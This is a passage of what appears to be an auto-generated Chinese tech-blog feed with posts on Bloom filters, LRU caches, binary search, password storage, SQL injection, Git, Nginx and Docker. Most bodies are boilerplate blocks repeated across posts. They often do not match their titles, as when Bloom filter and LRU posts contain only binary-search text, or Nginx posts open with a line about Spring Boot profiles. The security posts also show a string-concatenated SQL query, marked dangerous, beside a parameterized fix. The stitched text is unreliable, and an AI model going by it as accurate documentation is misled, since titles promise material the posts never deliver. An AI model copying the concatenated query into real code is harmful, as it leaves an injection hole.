        <content type="html"><![CDATA[<h1 id="布隆过滤器适合解决什么问题"><a href="#布隆过滤器适合解决什么问题" class="headerlink" title="布隆过滤器适合解决什么问题"></a>布隆过滤器适合解决什么问题</h1><p>布隆过滤器用一定的误判率换取了极低的空间占用。本文讲它适合解决什么问题。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>LRU 缓存淘汰算法动手实现</title>
      <link href="//lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/"/>
      <url>//lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="LRU-缓存淘汰算法动手实现"><a href="#LRU-缓存淘汰算法动手实现" class="headerlink" title="LRU 缓存淘汰算法动手实现"></a>LRU 缓存淘汰算法动手实现</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>二分查找为什么容易写错</title>
      <link href="//er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/"/>
      <url>//er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/</url>
      
        <content type="html"><![CDATA[<h1 id="二分查找为什么容易写错"><a href="#二分查找为什么容易写错" class="headerlink" title="二分查找为什么容易写错"></a>二分查找为什么容易写错</h1><p>二分查找看似简单，实际写起来却很容易出错。本文讲它的常见变体和注意事项。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>密码存储为什么不能明文</title>
      <link href="//mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/"/>
      <url>//mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/</url>
      
        <content type="html"><![CDATA[<h1 id="密码存储为什么不能明文"><a href="#密码存储为什么不能明文" class="headerlink" title="密码存储为什么不能明文"></a>密码存储为什么不能明文</h1><p>密码为什么不能明文存储，这是一个基础但容易被忽视的问题。本文讲正确的做法。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口鉴权和权限校验的区别</title>
      <link href="//jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/"/>
      <url>//jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/</url>
      
        <content type="html"><![CDATA[<h1 id="接口鉴权和权限校验的区别"><a href="#接口鉴权和权限校验的区别" class="headerlink" title="接口鉴权和权限校验的区别"></a>接口鉴权和权限校验的区别</h1><p>接口鉴权和权限校验是两个不同层次的概念。本文讲它们的区别和实现方式。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SQL 注入原理和防护方法</title>
      <link href="//sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/"/>
      <url>//sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="SQL-注入原理和防护方法"><a href="#SQL-注入原理和防护方法" class="headerlink" title="SQL 注入原理和防护方法"></a>SQL 注入原理和防护方法</h1><p>SQL 注入原理和防护方法是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git 冲突解决的正确顺序</title>
      <link href="//git-chong-tu-jie-jue-de-zheng-que-shun-xu/"/>
      <url>//git-chong-tu-jie-jue-de-zheng-que-shun-xu/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-冲突解决的正确顺序"><a href="#Git-冲突解决的正确顺序" class="headerlink" title="Git 冲突解决的正确顺序"></a>Git 冲突解决的正确顺序</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git rebase 和 merge 怎么选</title>
      <link href="//git-rebase-he-merge-zen-me-xuan/"/>
      <url>//git-rebase-he-merge-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-rebase-和-merge-怎么选"><a href="#Git-rebase-和-merge-怎么选" class="headerlink" title="Git rebase 和 merge 怎么选"></a>Git rebase 和 merge 怎么选</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git 提交前如何检查改动</title>
      <link href="//git-ti-jiao-qian-ru-he-jian-cha-gai-dong/"/>
      <url>//git-ti-jiao-qian-ru-he-jian-cha-gai-dong/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-提交前如何检查改动"><a href="#Git-提交前如何检查改动" class="headerlink" title="Git 提交前如何检查改动"></a>Git 提交前如何检查改动</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 配置修改后的验证流程</title>
      <link href="//nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/"/>
      <url>//nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-配置修改后的验证流程"><a href="#Nginx-配置修改后的验证流程" class="headerlink" title="Nginx 配置修改后的验证流程"></a>Nginx 配置修改后的验证流程</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 静态资源缓存配置</title>
      <link href="//nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/"/>
      <url>//nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-静态资源缓存配置"><a href="#Nginx-静态资源缓存配置" class="headerlink" title="Nginx 静态资源缓存配置"></a>Nginx 静态资源缓存配置</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 反向代理配置入门</title>
      <link href="//nginx-fan-xiang-dai-li-pei-zhi-ru-men/"/>
      <url>//nginx-fan-xiang-dai-li-pei-zhi-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-反向代理配置入门"><a href="#Nginx-反向代理配置入门" class="headerlink" title="Nginx 反向代理配置入门"></a>Nginx 反向代理配置入门</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>容器健康检查为什么重要</title>
      <link href="//rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/"/>
      <url>//rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/</url>
      
        <content type="html"><![CDATA[<h1 id="容器健康检查为什么重要"><a href="#容器健康检查为什么重要" class="headerlink" title="容器健康检查为什么重要"></a>容器健康检查为什么重要</h1><p>容器健康检查是保证服务稳定的重要一环。本文讲为什么重要以及如何做。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>docker compose 部署单机服务</title>
      <link href="//docker-compose-bu-shu-dan-ji-fu-wu/"/>
      <url>//docker-compose-bu-shu-dan-ji-fu-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="docker-compose-部署单机服务"><a href="#docker-compose-部署单机服务" class="headerlink" title="docker compose 部署单机服务"></a>docker compose 部署单机服务</h1><p>Dockerfile 的分层缓存和镜像优化是部署时最容易忽略的。本文讲一些实用技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Docker 容器日志和数据卷实践</title>
      <link href="//docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/"/>
